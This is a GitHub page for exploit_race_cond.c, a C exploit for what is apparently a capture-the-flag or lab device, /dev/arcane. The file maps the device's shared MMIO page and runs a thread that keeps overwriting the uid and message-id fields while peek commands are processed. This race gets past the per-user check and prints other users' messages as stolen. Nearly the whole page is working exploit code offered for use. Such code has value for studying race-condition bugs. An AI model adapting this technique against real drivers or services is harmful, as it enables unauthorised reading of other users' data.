This repository has been archived by the owner on Sep 14, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathexploit_race_cond.c
176 lines (141 loc) · 3.9 KB
/
exploit_race_cond.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
#include <err.h>
#include <fcntl.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <pthread.h>
#define DEV_NAME "/dev/arcane"
#define CMD_PEEK_MSG 0x00
#define CMD_PUSH_MSG 0x01
#define CMD_POP_MSG 0x02
#define CMD_GEN_KEY 0x03
#define STATUS_OK 0x00000000
#define STATUS_BUSY 0x01000000
#define STATUS_ERROR 0x02000000
#define ERR_ENOMSG ((uint32_t)0x09)
/*
Used to talk with the mmio device
*/
#define MSG_SZ 0x100
typedef struct __attribute__((packed)) guest_req {
uint32_t status;
uint32_t cmd;
uint32_t mid;
uint32_t uid;
uint64_t key;
char buf[MSG_SZ];
} guest_req_t;
static uint32_t target_uid;
static uint32_t target_msg_idx;
static void *th(void *arg) {
volatile guest_req_t *req = (volatile guest_req_t *)arg;
puts("[thread] started");
while (1) {
*(volatile uint64_t *)&(req->mid) = ((uint64_t)target_uid) << 32 | target_msg_idx;
}
return NULL;
}
static void fill_msgqueue(volatile guest_req_t *req) {
uint32_t status;
// Already have req->key set
req->mid = 63;
req->uid = getuid();
req->cmd = CMD_PEEK_MSG;
while ((status = req->status) == STATUS_BUSY) usleep(100);
// Already filled up by a previous run
if (status == STATUS_OK)
return;
req->mid = 123;
strcpy((void *)req->buf, "PWN");
for (unsigned i = 0; i < 64; i++) {
req->cmd = CMD_PUSH_MSG;
while ((status = req->status) == STATUS_BUSY) usleep(100);
if (status != STATUS_OK) {
printf("[exploit] cmd push failed: 0x%" PRIx32 "\n", status);
exit(1);
}
}
}
int main(int argc, char **argv) {
bool success = false;
volatile guest_req_t *req;
uint32_t my_uid, status, end_idx;
uint64_t my_key;
pthread_t thread;
int fd;
if (argc < 2) {
errx(1, "usage: %s uid [msg_idx]\n"
"\tuid: uid to steal msg from\n"
"\tmsg_idx: idx of msg to steal",
argv[0]
);
}
// Open /dev/arcane and mmap our mmio page
if ((fd = open(DEV_NAME, O_RDWR)) < 0)
err(1, "open " DEV_NAME);
req = (guest_req_t *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (req == MAP_FAILED)
err(1, "mmap");
target_uid = atoi(argv[1]);
printf("[exploit] target uid: %" PRIu32 "\n", target_uid);
if (argc == 3) {
target_msg_idx = end_idx = atoi(argv[2]);
printf("[exploit] target msg idx: %" PRIu32 "\n", target_msg_idx);
} else {
target_msg_idx = 0;
end_idx = 63; // there can be at most 64 msgs
printf("[exploit] no msg idx given, scanning all msgs\n");
}
/*
Generate a key for our uid
*/
req->cmd = CMD_GEN_KEY;
while ((status = req->status) == STATUS_BUSY) usleep(100);
my_key = req->key;
if (status != STATUS_OK) {
printf("[exploit] cmd gen key failed: 0x%" PRIx32 "\n", status);
return 1;
}
printf("[exploit] got key: 0x%" PRIx64 "\n", my_key);
// Fill the message queue with known messages so that we can distinghush
// whether we successfully stolen a message or not later
fill_msgqueue(req);
// Start race thread
pthread_create(&thread, NULL, th, (void*)req);
/*
Peek messages one at a time with the race condition
*/
my_uid = getuid();
req->key = my_key;
req->mid = 0;
for (; target_msg_idx <= end_idx; target_msg_idx++) {
size_t attempts;
for (attempts = 1; ; attempts++) {
req->uid = my_uid;
req->cmd = CMD_PEEK_MSG;
while ((status = req->status) == STATUS_BUSY) usleep(10);
if ((status & 0xff000000) == STATUS_ERROR && (status & 0xffffff) == ERR_ENOMSG)
goto no_more_msgs;
if ((status & 0xff000000) == STATUS_OK) {
// If we peek something other than the previously pushed msg,
// we just stole a msg that is not ours
if (strcmp((char *)req->buf, "PWN"))
break;
}
}
printf("[exploit] stolen msg at idx %" PRIu32 " (%" PRIu64 " attempts): %s\n", target_msg_idx, attempts, req->buf);
success = true;
}
no_more_msgs:
if (!success) {
puts("[exploit] no msgs found");
return 1;
}
return 0;
}